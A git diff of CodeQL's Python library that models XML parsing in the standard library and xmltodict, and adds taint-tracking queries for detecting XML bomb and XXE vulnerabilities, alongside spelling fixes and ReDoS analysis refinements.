-      API::moduleImport("xml")
-          .getMember("etree")
-          .getMember("ElementTree")
-          .getMember(["fromstring", "fromstringlist", "XML"])
-          .getReturn()
-  }
-
-  /**
-   * A call to a find method on a tree or an element will execute an XPath expression.
-   */
-  private class ElementTreeFindCall extends XML::XPathExecution::Range, DataFlow::CallCfgNode {
-    string methodName;
-
-    ElementTreeFindCall() {
-      methodName in ["find", "findall", "findtext"] and
-      (
-        this = elementTreeInstance().getMember(methodName).getACall()
-        or
-        this = elementInstance().getMember(methodName).getACall()
-      )
-    }
-
-    override DataFlow::Node getXPath() { result in [this.getArg(0), this.getArgByName("match")] }
-
-    override string getName() { result = "xml.etree" }
-  }
-
   // ---------------------------------------------------------------------------
   // urllib
   // ---------------------------------------------------------------------------
@@ -3171,6 +3107,547 @@ private module StdlibPrivate {
       result in [this.getArg(0), this.getArgByName("path")]
     }
   }
+
+  // ---------------------------------------------------------------------------
+  // io
+  // ---------------------------------------------------------------------------
+  /**
+   * Provides models for the `io.StringIO`/`io.BytesIO` classes
+   *
+   * See https://docs.python.org/3.10/library/io.html#io.StringIO.
+   */
+  module StringIO {
+    /** Gets a reference to the `io.StringIO` class. */
+    private API::Node classRef() {
+      result = API::moduleImport("io").getMember(["StringIO", "BytesIO"])
+    }
+
+    /**
+     * A source of instances of `io.StringIO`/`io.BytesIO`, extend this class to model new instances.
+     *
+     * This can include instantiations of the class, return values from function
+     * calls, or a special parameter that will be set when functions are called by an external
+     * library.
+     *
+     * Use the predicate `StringIO::instance()` to get references to instances of `io.StringIO`.
+     */
+    abstract class InstanceSource extends Stdlib::FileLikeObject::InstanceSource { }
+
+    /** A direct instantiation of `io.StringIO`/`io.BytesIO`. */
+    private class ClassInstantiation extends InstanceSource, DataFlow::CallCfgNode {
+      ClassInstantiation() { this = classRef().getACall() }
+
+      DataFlow::Node getInitialValue() {
+        result = this.getArg(0)
+        or
+        // `initial_value` for StringIO, `initial_bytes` for BytesIO
+        result = this.getArgByName(["initial_value", "initial_bytes"])
+      }
+    }
+
+    /** Gets a reference to an instance of `io.StringIO`/`io.BytesIO`. */
+    private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t) {
+      t.start() and
+      result instanceof InstanceSource
+      or
+      exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t))
+    }
+
+    /** Gets a reference to an instance of `io.StringIO`/`io.BytesIO`. */
+    DataFlow::Node instance() { instance(DataFlow::TypeTracker::end()).flowsTo(result) }
+
+    /**
+     * Extra taint propagation for `io.StringIO`/`io.BytesIO`.
+     */
+    private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep {
+      override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
+        nodeTo.(ClassInstantiation).getInitialValue() = nodeFrom
+      }
+    }
+  }
+
+  // ---------------------------------------------------------------------------
+  // xml.etree.ElementTree
+  // ---------------------------------------------------------------------------
+  /**
+   * An instance of `xml.etree.ElementTree.ElementTree`.
+   *
+   * See https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.ElementTree
+   */
+  private API::Node elementTreeInstance() {
+    //parse to a tree
+    result =
+      API::moduleImport("xml")
+          .getMember("etree")
+          .getMember("ElementTree")
+          .getMember("parse")
+          .getReturn()
+    or
+    // construct a tree without parsing
+    result =
+      API::moduleImport("xml")
+          .getMember("etree")
+          .getMember("ElementTree")
+          .getMember("ElementTree")
+          .getReturn()
+  }
+
+  /**
+   * An instance of `xml.etree.ElementTree.Element`.
+   *
+   * See https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element
+   */
+  private API::Node elementInstance() {
+    // parse or go to the root of a tree
+    result = elementTreeInstance().getMember(["parse", "getroot"]).getReturn()
+    or
+    // parse directly to an element
+    result =
+      API::moduleImport("xml")
+          .getMember("etree")
+          .getMember("ElementTree")
+          .getMember(["fromstring", "fromstringlist", "XML"])
+          .getReturn()
+    or
+    result =
+      API::moduleImport("xml")
+          .getMember("etree")
+          .getMember("ElementTree")
+          .getMember("XMLParser")
+          .getReturn()
+          .getMember("close")
+          .getReturn()
+  }
+
+  /**
+   * A call to a find method on a tree or an element will execute an XPath expression.
+   */
+  private class ElementTreeFindCall extends XML::XPathExecution::Range, DataFlow::CallCfgNode {
+    string methodName;
+
+    ElementTreeFindCall() {
+      methodName in ["find", "findall", "findtext"] and
+      (
+        this = elementTreeInstance().getMember(methodName).getACall()
+        or
+        this = elementInstance().getMember(methodName).getACall()
+      )
+    }
+
+    override DataFlow::Node getXPath() { result in [this.getArg(0), this.getArgByName("match")] }
+
+    override string getName() { result = "xml.etree" }
+  }
+
+  /**
+   * Provides models for `xml.etree` parsers
+   *
+   * See
+   * - https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLParser
+   * - https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLPullParser
+   */
+  module XmlParser {
+    /**
+     * A source of instances of `xml.etree` parsers, extend this class to model new instances.
+     *
+     * This can include instantiations of the class, return values from function
+     * calls, or a special parameter that will be set when functions are called by an external
+     * library.
+     *
+     * Use the predicate `XmlParser::instance()` to get references to instances of `xml.etree` parsers.
+     */
+    abstract class InstanceSource extends DataFlow::LocalSourceNode { }
+
+    /** A direct instantiation of `xml.etree` parsers. */
+    private class ClassInstantiation extends InstanceSource, DataFlow::CallCfgNode {
+      ClassInstantiation() {
+        this =
+          API::moduleImport("xml")
+              .getMember("etree")
+              .getMember("ElementTree")
+              .getMember(["XMLParser", "XMLPullParser"])
+              .getACall()
+      }
+    }
+
+    /** Gets a reference to an `xml.etree` parser instance. */
+    private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t) {
+      t.start() and
+      result instanceof InstanceSource
+      or
+      exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t))
+    }
+
+    /** Gets a reference to an `xml.etree` parser instance. */
+    DataFlow::Node instance() { instance(DataFlow::TypeTracker::end()).flowsTo(result) }
+
+    /**
+     * A call to the `feed` method of an `xml.etree` parser.
+     */
+    private class XmlEtreeParserFeedCall extends DataFlow::MethodCallNode, XML::XmlParsing::Range {
+      XmlEtreeParserFeedCall() { this.calls(instance(), "feed") }
+
+      override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("data")] }
+
+      override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) { kind.isXmlBomb() }
+
+      override predicate mayExecuteInput() { none() }
+
+      override DataFlow::Node getOutput() {
+        exists(DataFlow::Node objRef |
+          DataFlow::localFlow(this.getObject(), objRef) and
+          result.(DataFlow::MethodCallNode).calls(objRef, "close")
+        )
+      }
+    }
+  }
+
+  /**
+   * A call to either of:
+   * - `xml.etree.ElementTree.fromstring`
+   * - `xml.etree.ElementTree.fromstringlist`
+   * - `xml.etree.ElementTree.XML`
+   * - `xml.etree.ElementTree.XMLID`
+   * - `xml.etree.ElementTree.parse`
+   * - `xml.etree.ElementTree.iterparse`
+   * - `parse` method on an `xml.etree.ElementTree.ElementTree` instance
+   *
+   * See
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.fromstring
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.fromstringlist
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.XML
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLID
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.parse
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.iterparse
+   */
+  private class XmlEtreeParsing extends DataFlow::CallCfgNode, XML::XmlParsing::Range {
+    XmlEtreeParsing() {
+      this =
+        API::moduleImport("xml")
+            .getMember("etree")
+            .getMember("ElementTree")
+            .getMember(["fromstring", "fromstringlist", "XML", "XMLID", "parse", "iterparse"])
+            .getACall()
+      or
+      this = elementTreeInstance().getMember("parse").getACall()
+    }
+
+    override DataFlow::Node getAnInput() {
+      result in [
+          this.getArg(0),
+          // fromstring / XML / XMLID
+          this.getArgByName("text"),
+          // fromstringlist
+          this.getArgByName("sequence"),
+          // parse / iterparse
+          this.getArgByName("source"),
+        ]
+    }
+
+    override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+      // note: it does not matter what `xml.etree` parser you are using, you cannot
+      // change the security features anyway :|
+      kind.isXmlBomb()
+    }
+
+    override predicate mayExecuteInput() { none() }
+
+    override DataFlow::Node getOutput() {
+      // Note: for `XMLID` the result of the call is a tuple with `(root, dict)`, so
+      // maybe we should not just say that the entire tuple is the decoding output... my
+      // gut feeling is that THIS instance doesn't matter too much, but that it would be
+      // nice to be able to do this in general. (this is a problem for both `lxml.etree`
+      // and `xml.etree`)
+      result = this
+    }
+  }
+
+  /**
+   * A call to `xml.etree.ElementTree.parse` or `xml.etree.ElementTree.iterparse`, which
+   * takes either a filename or a file-like object as argument. To capture the filename
+   * for path-injection, we have this subclass.
+   *
+   * See
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.parse
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.iterparse
+   */
+  private class FileAccessFromXmlEtreeParsing extends XmlEtreeParsing, FileSystemAccess::Range {
+    FileAccessFromXmlEtreeParsing() {
+      this =
+        API::moduleImport("xml")
+            .getMember("etree")
+            .getMember("ElementTree")
+            .getMember(["parse", "iterparse"])
+            .getACall()
+      or
+      this = elementTreeInstance().getMember("parse").getACall()
+      // I considered whether we should try to reduce FPs from people passing file-like
+      // objects, which will not be a file system access (and couldn't cause a
+      // path-injection).
+      //
+      // I suppose that once we have proper flow-summary support for file-like objects,
+      // we can make the XXE/XML-bomb sinks allow an access-path, while the
+      // path-injection sink wouldn't, and then we will not end up with such FPs.
+    }
+
+    override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
+  }
+
+  // ---------------------------------------------------------------------------
+  // xml.sax
+  // ---------------------------------------------------------------------------
+  /**
+   * A call to the `setFeature` method on a XML sax parser.
+   *
+   * See https://docs.python.org/3.10/library/xml.sax.reader.html#xml.sax.xmlreader.XMLReader.setFeature
+   */
+  private class SaxParserSetFeatureCall extends API::CallNode, DataFlow::MethodCallNode {
+    SaxParserSetFeatureCall() {
+      this =
+        API::moduleImport("xml")
+            .getMember("sax")
+            .getMember("make_parser")
+            .getReturn()
+            .getMember("setFeature")
+            .getACall()
+    }
+
+    // The keyword argument names does not match documentation. I checked (with Python
+    // 3.9.5) that the names used here actually works.
+    API::Node getFeatureArg() { result = this.getParameter(0, "name") }
+
+    API::Node getStateArg() { result = this.getParameter(1, "state") }
+  }
+
+  /**
+   * Gets a reference to a XML sax parser that has `feature_external_ges` turned on.
+   *
+   * See https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
+   */
+  private DataFlow::Node saxParserWithFeatureExternalGesTurnedOn(DataFlow::TypeTracker t) {
+    t.start() and
+    exists(SaxParserSetFeatureCall call |
+      call.getFeatureArg().getARhs() =
+        API::moduleImport("xml")
+            .getMember("sax")
+            .getMember("handler")
+            .getMember("feature_external_ges")
+            .getAUse() and
+      call.getStateArg().getAValueReachingRhs().asExpr().(BooleanLiteral).booleanValue() = true and
+      result = call.getObject()
+    )
+    or
+    exists(DataFlow::TypeTracker t2 |
+      t = t2.smallstep(saxParserWithFeatureExternalGesTurnedOn(t2), result)
+    ) and
+    // take account of that we can set the feature to False, which makes the parser safe again
+    not exists(SaxParserSetFeatureCall call |
+      call.getObject() = result and
+      call.getFeatureArg().getARhs() =
+        API::moduleImport("xml")
+            .getMember("sax")
+            .getMember("handler")
+            .getMember("feature_external_ges")
+            .getAUse() and
+      call.getStateArg().getAValueReachingRhs().asExpr().(BooleanLiteral).booleanValue() = false
+    )
+  }
+
+  /**
+   * Gets a reference to a XML sax parser that has `feature_external_ges` turned on.
+   *
+   * See https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
+   */
+  DataFlow::Node saxParserWithFeatureExternalGesTurnedOn() {
+    result = saxParserWithFeatureExternalGesTurnedOn(DataFlow::TypeTracker::end())
+  }
+
+  /**
+   * A call to the `parse` method on a SAX XML parser.
+   *
+   * See https://docs.python.org/3/library/xml.sax.reader.html#xml.sax.xmlreader.XMLReader.parse
+   */
+  private class XmlSaxInstanceParsing extends DataFlow::MethodCallNode, XML::XmlParsing::Range,
+    FileSystemAccess::Range {
+    XmlSaxInstanceParsing() {
+      this =
+        API::moduleImport("xml")
+            .getMember("sax")
+            .getMember("make_parser")
+            .getReturn()
+            .getMember("parse")
+            .getACall()
+    }
+
+    override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("source")] }
+
+    override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+      // always vuln to these
+      kind.isXmlBomb()
+      or
+      // can be vuln to other things if features has been turned on
+      this.getObject() = saxParserWithFeatureExternalGesTurnedOn() and
+      (kind.isXxe() or kind.isDtdRetrieval())
+    }
+
+    override predicate mayExecuteInput() { none() }
+
+    override DataFlow::Node getOutput() {
+      // note: the output of parsing with SAX is that the content handler gets the
+      // data... but we don't currently model this (it's not trivial to do, and won't
+      // really give us any value, at least not as of right now).
+      none()
+    }
+
+    override DataFlow::Node getAPathArgument() {
+      // I considered whether we should try to reduce FPs from people passing file-like
+      // objects, which will not be a file system access (and couldn't cause a
+      // path-injection).
+      //
+      // I suppose that once we have proper flow-summary support for file-like objects,
+      // we can make the XXE/XML-bomb sinks allow an access-path, while the
+      // path-injection sink wouldn't, and then we will not end up with such FPs.
+      result = this.getAnInput()
+    }
+  }
+
+  /**
+   * A call to either `parse` or `parseString` from `xml.sax` module.
+   *
+   * See:
+   * - https://docs.python.org/3.10/library/xml.sax.html#xml.sax.parse
+   * - https://docs.python.org/3.10/library/xml.sax.html#xml.sax.parseString
+   */
+  private class XmlSaxParsing extends DataFlow::CallCfgNode, XML::XmlParsing::Range {
+    XmlSaxParsing() {
+      this =
+        API::moduleImport("xml").getMember("sax").getMember(["parse", "parseString"]).getACall()
+    }
+
+    override DataFlow::Node getAnInput() {
+      result in [
+          this.getArg(0),
+          // parseString
+          this.getArgByName("string"),
+          // parse
+          this.getArgByName("source"),
+        ]
+    }
+
+    override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+      // always vuln to these
+      kind.isXmlBomb()
+    }
+
+    override predicate mayExecuteInput() { none() }
+
+    override DataFlow::Node getOutput() {
+      // note: the output of parsing with SAX is that the content handler gets the
+      // data... but we don't currently model this (it's not trivial to do, and won't
+      // really give us any value, at least not as of right now).
+      none()
+    }
+  }
+
+  /**
+   * A call to `xml.sax.parse`, which takes either a filename or a file-like object as
+   * argument. To capture the filename for path-injection, we have this subclass.
+   *
+   * See
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.parse
+   * - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.iterparse
+   */
+  private class FileAccessFromXmlSaxParsing extends XmlSaxParsing, FileSystemAccess::Range {
+    FileAccessFromXmlSaxParsing() {
+      this = API::moduleImport("xml").getMember("sax").getMember("parse").getACall()
+      // I considered whether we should try to reduce FPs from people passing file-like
+      // objects, which will not be a file system access (and couldn't cause a
+      // path-injection).
+      //
+      // I suppose that once we have proper flow-summary support for file-like objects,
+      // we can make the XXE/XML-bomb sinks allow an access-path, while the
+      // path-injection sink wouldn't, and then we will not end up with such FPs.
+    }
+
+    override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
+  }
+
+  // ---------------------------------------------------------------------------
+  // xml.dom.*
+  // ---------------------------------------------------------------------------
+  /**
+   * A call to the `parse` or `parseString` methods from `xml.dom.minidom` or `xml.dom.pulldom`.
+   *
+   * Both of these modules are based on SAX parsers.
+   *
+   * See
+   * - https://docs.python.org/3/library/xml.dom.minidom.html#xml.dom.minidom.parse
+   * - https://docs.python.org/3/library/xml.dom.pulldom.html#xml.dom.pulldom.parse
+   */
+  private class XmlDomParsing extends DataFlow::CallCfgNode, XML::XmlParsing::Range {
+    XmlDomParsing() {
+      this =
+        API::moduleImport("xml")
+            .getMember("dom")
+            .getMember(["minidom", "pulldom"])
+            .getMember(["parse", "parseString"])
+            .getACall()
+    }
+
+    override DataFlow::Node getAnInput() {
+      result in [
+          this.getArg(0),
+          // parseString
+          this.getArgByName("string"),
+          // minidom.parse
+          this.getArgByName("file"),
+          // pulldom.parse
+          this.getArgByName("stream_or_string"),
+        ]
+    }
+
+    DataFlow::Node getParserArg() { result in [this.getArg(1), this.getArgByName("parser")] }
+
+    override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+      this.getParserArg() = saxParserWithFeatureExternalGesTurnedOn() and
+      (kind.isXxe() or kind.isDtdRetrieval())
+      or
+      kind.isXmlBomb()
+    }
+
+    override predicate mayExecuteInput() { none() }
+
+    override DataFlow::Node getOutput() { result = this }
+  }
+
+  /**
+   * A call to the `parse` or `parseString` methods from `xml.dom.minidom` or
+   * `xml.dom.pulldom`, which takes either a filename or a file-like object as argument.
+   * To capture the filename for path-injection, we have this subclass.
+   *
+   * See
+   * - https://docs.python.org/3/library/xml.dom.minidom.html#xml.dom.minidom.parse
+   * - https://docs.python.org/3/library/xml.dom.pulldom.html#xml.dom.pulldom.parse
+   */
+  private class FileAccessFromXmlDomParsing extends XmlDomParsing, FileSystemAccess::Range {
+    FileAccessFromXmlDomParsing() {
+      this =
+        API::moduleImport("xml")
+            .getMember("dom")
+            .getMember(["minidom", "pulldom"])
+            .getMember("parse")
+            .getACall()
+      // I considered whether we should try to reduce FPs from people passing file-like
+      // objects, which will not be a file system access (and couldn't cause a
+      // path-injection).
+      //
+      // I suppose that once we have proper flow-summary support for file-like objects,
+      // we can make the XXE/XML-bomb sinks allow an access-path, while the
+      // path-injection sink wouldn't, and then we will not end up with such FPs.
+    }
+
+    override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
+  }
 }
 
 // ---------------------------------------------------------------------------
diff --git a/python/ql/lib/semmle/python/frameworks/Xmltodict.qll b/python/ql/lib/semmle/python/frameworks/Xmltodict.qll
new file mode 100644
index 00000000000..f63fec7afe4
--- /dev/null
+++ b/python/ql/lib/semmle/python/frameworks/Xmltodict.qll
@@ -0,0 +1,39 @@
+/**
+ * Provides classes modeling security-relevant aspects of the `xmltodict` PyPI package.
+ *
+ * See
+ * - https://pypi.org/project/xmltodict/
+ */
+
+private import python
+private import semmle.python.dataflow.new.DataFlow
+private import semmle.python.Concepts
+private import semmle.python.ApiGraphs
+
+/**
+ * Provides classes modeling security-relevant aspects of the `xmltodict` PyPI package
+ *
+ * See
+ * - https://pypi.org/project/xmltodict/
+ */
+private module Xmltodict {
+  /**
+   * A call to `xmltodict.parse`.
+   */
+  private class XMLtoDictParsing extends API::CallNode, XML::XmlParsing::Range {
+    XMLtoDictParsing() { this = API::moduleImport("xmltodict").getMember("parse").getACall() }
+
+    override DataFlow::Node getAnInput() {
+      result in [this.getArg(0), this.getArgByName("xml_input")]
+    }
+
+    override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
+      kind.isXmlBomb() and
+      this.getKeywordParameter("disable_entities").getAValueReachingRhs().asExpr() = any(False f)
+    }
+
+    override predicate mayExecuteInput() { none() }
+
+    override DataFlow::Node getOutput() { result = this }
+  }
+}
diff --git a/python/ql/lib/semmle/python/objects/ObjectInternal.qll b/python/ql/lib/semmle/python/objects/ObjectInternal.qll
index e60b506c449..b6725e87cb6 100644
--- a/python/ql/lib/semmle/python/objects/ObjectInternal.qll
+++ b/python/ql/lib/semmle/python/objects/ObjectInternal.qll
@@ -49,7 +49,7 @@ class ObjectInternal extends TObject {
   abstract ObjectInternal getClass();
 
   /**
-   * True if this "object" can be meaningfully analysed to determine the boolean value of
+   * True if this "object" can be meaningfully analyzed to determine the boolean value of
    * equality tests on it.
    * For example, `None` or `int` can be, but `int()` or an unknown string cannot.
    */
diff --git a/python/ql/lib/semmle/python/objects/Sequences.qll b/python/ql/lib/semmle/python/objects/Sequences.qll
index 1250477be7c..edaa00d159b 100644
--- a/python/ql/lib/semmle/python/objects/Sequences.qll
+++ b/python/ql/lib/semmle/python/objects/Sequences.qll
@@ -70,7 +70,7 @@ abstract class TupleObjectInternal extends SequenceObjectInternal {
   override ObjectInternal getClass() { result = ObjectInternal::builtin("tuple") }
 
   /**
-   * True if this "object" can be meaningfully analysed for
+   * True if this "object" can be meaningfully analyzed for
    * truth or false in comparisons. For example, `None` or `int` can be, but `int()`
    * or an unknown string cannot.
    */
diff --git a/python/ql/lib/semmle/python/objects/TObject.qll b/python/ql/lib/semmle/python/objects/TObject.qll
index 67739933ab8..ee6bcb8340d 100644
--- a/python/ql/lib/semmle/python/objects/TObject.qll
+++ b/python/ql/lib/semmle/python/objects/TObject.qll
@@ -243,7 +243,7 @@ predicate class_method(
  * Holds if the literal corresponding to the control flow node `n` has class `cls`.
  *
  * Helper predicate for `literal_instantiation`. Prevents a bad join with
- * `PointsToContext::appliesTo` from occuring.
+ * `PointsToContext::appliesTo` from occurring.
  */
 pragma[nomagic]
 private predicate literal_node_class(ControlFlowNode n, ClassObjectInternal cls) {
diff --git a/python/ql/lib/semmle/python/security/BadTagFilterQuery.qll b/python/ql/lib/semmle/python/security/BadTagFilterQuery.qll
index e22c00ddc47..d935abce37a 100644
--- a/python/ql/lib/semmle/python/security/BadTagFilterQuery.qll
+++ b/python/ql/lib/semmle/python/security/BadTagFilterQuery.qll
@@ -28,14 +28,14 @@ private module RegexpMatching {
      * but if `ignorePrefix` is true, it will only match "foo".
      */
     predicate test(string str, boolean ignorePrefix) {
-      none() // maybe overriden in subclasses
+      none() // maybe overridden in subclasses
     }
 
     /**
      * Same as `test(..)`, but where the `fillsCaptureGroup` afterwards tells which capture groups were filled by the given string.
      */
     predicate testWithGroups(string str, boolean ignorePrefix) {
-      none() // maybe overriden in subclasses
+      none() // maybe overridden in subclasses
     }
 
     /**
diff --git a/python/ql/lib/semmle/python/security/dataflow/XmlBombCustomizations.qll b/python/ql/lib/semmle/python/security/dataflow/XmlBombCustomizations.qll
new file mode 100644
index 00000000000..a2fe1b8ecb2
--- /dev/null
+++ b/python/ql/lib/semmle/python/security/dataflow/XmlBombCustomizations.qll
@@ -0,0 +1,49 @@
+/**
+ * Provides default sources, sinks and sanitizers for detecting
+ * "XML bomb"
+ * vulnerabilities, as well as extension points for adding your own.
+ */
+
+private import python
+private import semmle.python.dataflow.new.DataFlow
+private import semmle.python.Concepts
+private import semmle.python.dataflow.new.RemoteFlowSources
+
+/**
+ * Provides default sources, sinks and sanitizers for detecting "XML bomb"
+ * vulnerabilities, as well as extension points for adding your own.
+ */
+module XmlBomb {
+  /**
+   * A data flow source for XML-bomb vulnerabilities.
+   */
+  abstract class Source extends DataFlow::Node { }
+
+  /**
+   * A data flow sink for XML-bomb vulnerabilities.
+   */
+  abstract class Sink extends DataFlow::Node { }
+
+  /**
+   * A sanitizer for XML-bomb vulnerabilities.
+   */
+  abstract class Sanitizer extends DataFlow::Node { }
+
+  /** A source of remote user input, considered as a flow source for XML bomb vulnerabilities. */
+  class RemoteFlowSourceAsSource extends Source {
+    RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
+  }
+
+  /**
+   * A call to an XML parser that is vulnerable to XML bombs.
+   */
+  class XmlParsingVulnerableToXmlBomb extends Sink {
+    XmlParsingVulnerableToXmlBomb() {
+      exists(XML::XmlParsing parsing, XML::XmlParsingVulnerabilityKind kind |
+        kind.isXmlBomb() and
+        parsing.vulnerableTo(kind) and
+        this = parsing.getAnInput()
+      )
+    }
+  }
+}
diff --git a/python/ql/lib/semmle/python/security/dataflow/XmlBombQuery.qll b/python/ql/lib/semmle/python/security/dataflow/XmlBombQuery.qll
new file mode 100644
index 00000000000..d0c0b85d84f
--- /dev/null
+++ b/python/ql/lib/semmle/python/security/dataflow/XmlBombQuery.qll
@@ -0,0 +1,28 @@
+/**
+ * Provides a taint-tracking configuration for detecting "XML bomb" vulnerabilities.
+ *
+ * Note, for performance reasons: only import this file if
+ * `Configuration` is needed, otherwise
+ * `XmlBombCustomizations` should be imported instead.
+ */
+
+import python
+import semmle.python.dataflow.new.DataFlow
+import semmle.python.dataflow.new.TaintTracking
+import XmlBombCustomizations::XmlBomb
+
+/**
+ * A taint-tracking configuration for detecting "XML bomb" vulnerabilities.
+ */
+class Configuration extends TaintTracking::Configuration {
+  Configuration() { this = "XmlBomb" }
+
+  override predicate isSource(DataFlow::Node source) { source instanceof Source }
+
+  override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
+
+  override predicate isSanitizer(DataFlow::Node node) {
+    super.isSanitizer(node) or
+    node instanceof Sanitizer
+  }
+}
diff --git a/python/ql/lib/semmle/python/security/dataflow/XxeCustomizations.qll b/python/ql/lib/semmle/python/security/dataflow/XxeCustomizations.qll
new file mode 100644
index 00000000000..1d1ad087f84
--- /dev/null
+++ b/python/ql/lib/semmle/python/security/dataflow/XxeCustomizations.qll
@@ -0,0 +1,49 @@
+/**
+ * Provides default sources, sinks and sanitizers for detecting
+ * "XML External Entity (XXE)"
+ * vulnerabilities, as well as extension points for adding your own.
+ */
+
+private import python
+private import semmle.python.dataflow.new.DataFlow
+private import semmle.python.Concepts
+private import semmle.python.dataflow.new.RemoteFlowSources
+
+/**
+ * Provides default sources, sinks and sanitizers for detecting "XML External Entity (XXE)"
+ * vulnerabilities, as well as extension points for adding your own.
+ */
+module Xxe {
+  /**
+   * A data flow source for XXE vulnerabilities.
+   */
+  abstract class Source extends DataFlow::Node { }
+
+  /**
+   * A data flow sink for XXE vulnerabilities.
+   */
+  abstract class Sink extends DataFlow::Node { }
+
+  /**
+   * A sanitizer for XXE vulnerabilities.
+   */
+  abstract class Sanitizer extends DataFlow::Node { }
+
+  /** A source of remote user input, considered as a flow source for XXE vulnerabilities. */
+  class RemoteFlowSourceAsSource extends Source {
+    RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
+  }
+
+  /**
+   * A call to an XML parser that is vulnerable to XXE.
+   */
+  class XmlParsingVulnerableToXxe extends Sink {
+    XmlParsingVulnerableToXxe() {
+      exists(XML::XmlParsing parsing, XML::XmlParsingVulnerabilityKind kind |
+        kind.isXxe() and
+        parsing.vulnerableTo(kind) and
+        this = parsing.getAnInput()
+      )
+    }
+  }
+}
diff --git a/python/ql/lib/semmle/python/security/dataflow/XxeQuery.qll b/python/ql/lib/semmle/python/security/dataflow/XxeQuery.qll
new file mode 100644
index 00000000000..dd2409f2a3c
--- /dev/null
+++ b/python/ql/lib/semmle/python/security/dataflow/XxeQuery.qll
@@ -0,0 +1,28 @@
+/**
+ * Provides a taint-tracking configuration for detecting "XML External Entity (XXE)" vulnerabilities.
+ *
+ * Note, for performance reasons: only import this file if
+ * `Configuration` is needed, otherwise
+ * `XxeCustomizations` should be imported instead.
+ */
+
+import python
+import semmle.python.dataflow.new.DataFlow
+import semmle.python.dataflow.new.TaintTracking
+import XxeCustomizations::Xxe
+
+/**
+ * A taint-tracking configuration for detecting "XML External Entity (XXE)" vulnerabilities.
+ */
+class Configuration extends TaintTracking::Configuration {
+  Configuration() { this = "Xxe" }
+
+  override predicate isSource(DataFlow::Node source) { source instanceof Source }
+
+  override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
+
+  override predicate isSanitizer(DataFlow::Node node) {
+    super.isSanitizer(node) or
+    node instanceof Sanitizer
+  }
+}
diff --git a/python/ql/lib/semmle/python/security/performance/ExponentialBackTracking.qll b/python/ql/lib/semmle/python/security/performance/ExponentialBackTracking.qll
index 5e0fe18ea00..99b4062dfdc 100644
--- a/python/ql/lib/semmle/python/security/performance/ExponentialBackTracking.qll
+++ b/python/ql/lib/semmle/python/security/performance/ExponentialBackTracking.qll
@@ -51,7 +51,7 @@
  *     either a single character, a set of characters represented by a
  *     character class, or the set of all characters.
  *   * The product automaton is constructed lazily, starting with pair states
- *     `(q, q)` where `q` is a fork, and proceding along an over-approximate
+ *     `(q, q)` where `q` is a fork, and proceeding along an over-approximate
  *     step relation.
  *   * The over-approximate step relation allows transitions along pairs of
  *     abstract input symbols where the symbols have overlap in the characters they accept.
diff --git a/python/ql/lib/semmle/python/security/performance/ReDoSUtil.qll b/python/ql/lib/semmle/python/security/performance/ReDoSUtil.qll
index 6f695b5035b..8aa348bf62f 100644
--- a/python/ql/lib/semmle/python/security/performance/ReDoSUtil.qll
+++ b/python/ql/lib/semmle/python/security/performance/ReDoSUtil.qll
@@ -610,16 +610,23 @@ State after(RegExpTerm t) {
   or
   exists(RegExpGroup grp | t = grp.getAChild() | result = after(grp))
   or
-  exists(EffectivelyStar star | t = star.getAChild() | result = before(star))
+  exists(EffectivelyStar star | t = star.getAChild() |
+    not isPossessive(star) and
+    result = before(star)
+  )
   or
   exists(EffectivelyPlus plus | t = plus.getAChild() |
-    result = before(plus) or
+    not isPossessive(plus) and
+    result = before(plus)
+    or
     result = after(plus)
   )
   or
   exists(EffectivelyQuestion opt | t = opt.getAChild() | result = after(opt))
   or
-  exists(RegExpRoot root | t = root | result = AcceptAnySuffix(root))
+  exists(RegExpRoot root | t = root |
+    if matchesAnySuffix(root) then result = AcceptAnySuffix(root) else result = Accept(root)
+  )
 }
 
 /**
@@ -690,7 +697,7 @@ predicate delta(State q1, EdgeLabel lbl, State q2) {
     lbl = Epsilon() and q2 = Accept(root)
   )
   or
-  exists(RegExpRoot root | q1 = Match(root, 0) | lbl = Any() and q2 = q1)
+  exists(RegExpRoot root | q1 = Match(root, 0) | matchesAnyPrefix(root) and lbl = Any() and q2 = q1)
   or
   exists(RegExpDollar dollar | q1 = before(dollar) |
